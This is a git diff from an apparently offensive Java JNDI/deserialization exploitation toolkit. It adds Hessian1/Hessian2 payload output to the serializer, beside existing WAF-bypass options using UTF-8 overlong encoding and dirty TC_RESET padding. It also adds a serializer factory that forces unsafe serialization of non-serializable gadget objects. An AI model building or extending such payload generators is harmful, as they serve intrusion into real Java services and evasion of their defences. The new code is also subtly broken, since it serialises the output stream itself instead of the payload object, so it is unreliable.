options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
+ options.addOption("he1", "Hessian1", false, "Hessian1 Output");
+ options.addOption("he2", "Hessian2", false, "Hessian2 Output");
return options;
}
diff --git a/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java b/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java
index e270bea..91555c6 100644
--- a/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java
+++ b/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java
@@ -14,7 +14,7 @@ import java.net.*;
/**
* Generic JRMP client
*
- * Pretty much the same thing as {@link RMIRegistryExploit} but
+ * Pretty much the same thing as {@link RMIBindExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java
index f06a5bd..d7452e4 100644
--- a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java
+++ b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java
@@ -81,6 +81,8 @@ public class Config {
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
public static Boolean IS_DIRTY_IN_TC_RESET = false;
public static Boolean IS_UTF_Bypass = false;
+ public static Boolean IS_Hessian1 = false;
+ public static Boolean IS_Hessian2 = false;
// 填充的脏数据长度
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java
index cd44ce0..c013798 100644
--- a/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java
+++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java
@@ -1,6 +1,6 @@
package com.qi4l.jndi.gadgets.utils;
-import com.qi4l.jndi.gadgets.Config.Config;
+import com.caucho.hessian.io.*;
import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
import java.io.ByteArrayOutputStream;
@@ -9,8 +9,7 @@ import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.concurrent.Callable;
-import static com.qi4l.jndi.gadgets.Config.Config.IS_DIRTY_IN_TC_RESET;
-import static com.qi4l.jndi.gadgets.Config.Config.IS_UTF_Bypass;
+import static com.qi4l.jndi.gadgets.Config.Config.*;
public class Serializer implements Callable {
private final Object object;
@@ -35,16 +34,32 @@ public class Serializer implements Callable {
}
public static void qiserialize(Object obj, final OutputStream out) throws Exception {
- final ObjectOutputStream objOut;
+ ObjectOutputStream objOut = null;
+ AbstractHessianOutput AobjOut = null;
if (IS_DIRTY_IN_TC_RESET) {
objOut = new SuObjectOutputStream(out);
} else if (IS_UTF_Bypass) {
objOut = new UTF8OverlongObjectOutputStream(out);
- } else {
+ } else if (IS_Hessian1) {
+ AobjOut = new HessianOutput(out);
+ NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
+ sf.setAllowNonSerializable(true);
+ AobjOut.setSerializerFactory(sf);
+ } else if (IS_Hessian2) {
+ AobjOut = new Hessian2Output(out);
+ NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
+ sf.setAllowNonSerializable(true);
+ AobjOut.setSerializerFactory(sf);
+ }else {
objOut = new ObjectOutputStream(out);
}
- objOut.writeObject(obj);
+
+ if (IS_Hessian1 || IS_Hessian2) {
+ AobjOut.writeObject(AobjOut);
+ } else {
+ objOut.writeObject(obj);
+ }
}
public byte[] call() throws Exception {
@@ -62,7 +77,7 @@ public class Serializer implements Callable {
super.writeStreamHeader();
try {
// 写入
- for (int i = 0; i < Config.DIRTY_LENGTH_IN_TC_RESET; i++) {
+ for (int i = 0; i < DIRTY_LENGTH_IN_TC_RESET; i++) {
Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET});
}
} catch (Exception e) {
@@ -71,4 +86,32 @@ public class Serializer implements Callable {
}
}
+ public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
+
+ /**
+ * {@inheritDoc}
+ *
+ * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
+ */
+ @Override
+ public com.caucho.hessian.io.Serializer getObjectSerializer (Class> cl ) throws HessianProtocolException {
+ return super.getObjectSerializer(cl);
+ }
+
+ /**
+ * {@inheritDoc}
+ *
+ * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
+ */
+ @Override
+ public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException {
+ com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl);
+
+ if ( serializer instanceof WriteReplaceSerializer ) {
+ return UnsafeSerializer.create(cl);
+ }
+ return serializer;
+ }
+ }
+
}